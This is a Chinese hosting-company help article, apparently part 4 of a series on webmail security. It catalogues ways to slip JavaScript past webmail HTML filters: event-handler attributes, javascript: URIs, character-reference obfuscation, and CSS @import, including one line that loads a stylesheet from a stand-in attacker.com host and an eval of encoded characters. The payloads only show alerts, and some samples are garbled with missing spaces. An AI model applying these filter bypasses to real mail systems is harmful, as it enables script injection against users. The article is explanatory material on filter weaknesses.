始创于2000年 股票代码:831685
咨询热线:0371-60135900 注册有礼 登录
  • 挂牌上市企业
  • 60秒人工响应
  • 99.99%连通率
  • 7*24h人工
  • 故障100倍补偿
您的位置: 网站首页 > 帮助中心>文章内容

Webmail攻防实战(4)

发布时间:  2012/8/14 13:51:01
 鉴于脚本程序可能带来的危险,WebMail系统完全有必要禁止html邮件中的脚本程序。禁止脚本程序的基本做法就是过滤掉html源程序中能够使脚本程序运行的代码,如script元素等,在这方面做的最好的莫过于hotmail了。下面是些常见的绕过脚本程序过滤的方法,不少的WebMail系统仍然没有完全改正:

(1)在html语言里,除了script元素内的或在script元素内引入的脚本程序能在html页面装载时被运行外,使用事件属性也能调用脚本程序运行,事件属性在JavaScript语言里被称为事件句柄,用于对页面上的某个特定事件(如鼠标点击、表单提交)做出响应,驱动javascript程序运行。它的语法如下:

<tagattribute1attribute2onEventName="javascriptcode;">

例如:

以下为引用的内容:
<bodyonload="alert('JavaScript#1isexecuted');">
<ahref="#"onclick="alert('JavaScript#2isexecuted');">Clickhere</a>
<formmethod="post"action="#"onsubmit="alert('JavaScript#3isexecuted');">
<inputtype="submit"value="Submit">
</form>
</body>

  
(2)URI(UniversalResourceIdentifier:通用资源标识)用于定位Internet上每种可用的资源,如HTML文档、图像、声音等。浏览器根据URI的资源类型(URIscheme)调用相应的程序操作该资源,如果把一些元素的URI属性值的资源类型设为javascript,则能够调用javascript程序运行。语法如下,注意要用“;”分隔不同的javascript语句:

<tagattribute="javascript:javascript-code;">

例如:

以下为引用的内容:
<bodybackground="javascript:alert('JavaScript#1isexecuted');">
<ahref="javascript:alert('JavaScript#2isexecuted');">Clickhere</a>
<formmethod="post"action="javascript:alert('JavaScript#3isexecuted');">
<inputtype="submit"value="Submit">
</form>
<imgsrc="javascript:alert('JavaScript#4isexecuted');">
</body>

  
(3)由于软硬件或其他原因,一些冷僻或特殊的字符不能输入或正确显示在html页面上,为了解决这个问题,html中可以使用SGML字符参考。字符参考是一种用来指定文档字符集中任何字符的独立编码机制,以“&”开始,以“;”结束。字符参考有两种表达方式:数字字符参考和实体字符参考。数字字符参考的语法为“&#D;”(D代表一个十进制数),或“&#xH;”、“&#XH;”(H代表一个十六进制数),例如“A”、“A”表示字母“A”,“水”、“水”表示汉字“水”。

攻击者把html语句里的一些字符以数字字符参考来代替,这样能避开WebMail系统对脚本程序的过滤。需要注意的是,元素和属性不可以用字符参考表示,例如:

以下为引用的内容:
<body>
<imglowsrc="javasCript:alert('JavaScript#1isexecuted')">
<ahref="javAsCript:alert('JavaScript#2
i&#x73executed')">Clickhere</a>
<formmethod="post"action="javascript:alert('JavaScript#3is
executed')">
<inputtype="Submit"value="Submit">
</form>
</body>

  
(4)样式表是层叠样式表单(CSS:CascadingStyleSheet)的简称,用于控制、增强或统一网页上的样式(如字体、颜色等),它能够将样式信息与网页内容相分离,在html语言的style标签内可以用@import声明输入一个样式表。但是,如果输入的资源类型或内容是javascript,InternetExplorer浏览器仍然会执行。

以下为引用的内容:
例如:<styletype="text/css">
<!--
@importurl(javascript:alert('JavaScript#1isexecuted'));
@importurl(http://www.attacker.com/js.css);
-->
</style>

  
其中http://www.attacker.com/js.css的内容如下所示:

以下为引用的内容:
@importurl(javascript:alert('JavaScript#2isexecuted'));
@importurl(javascript:eval(String.fromCharCode
(97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97,
108,101,114,116,40,39,84,101,115,116,32,50,39,41,59)));

  
能够绕过WebMail系统对脚本程序过滤的方法远不止上面所说的这些,例如曾有人发现把“<script>”标签改成“<_a<script>”和“<<script>”的样子能绕过yahoo电邮的过滤,这个漏洞yahoo在最近才改正过来。


本文出自:亿恩科技【www.enkj.com】

服务器租用/服务器托管中国五强!虚拟主机域名注册顶级提供商!15年品质保障!--亿恩科技[ENKJ.COM]

  • 您可能在找
  • 亿恩北京公司:
  • 经营性ICP/ISP证:京B2-20150015
  • 亿恩郑州公司:
  • 经营性ICP/ISP/IDC证:豫B1.B2-20060070
  • 亿恩南昌公司:
  • 经营性ICP/ISP证:赣B2-20080012
  • 服务器/云主机 24小时售后服务电话:0371-60135900
  • 虚拟主机/智能建站 24小时售后服务电话:0371-60135900
  • 专注服务器托管17年
    扫扫关注-微信公众号
    0371-60135900
    Copyright© 1999-2019 ENKJ All Rights Reserved 亿恩科技 版权所有  地址:郑州市高新区翠竹街1号总部企业基地亿恩大厦  法律顾问:河南亚太人律师事务所郝建锋、杜慧月律师   京公网安备41019702002023号
      0
     
     
     
     

    0371-60135900
    7*24小时客服服务热线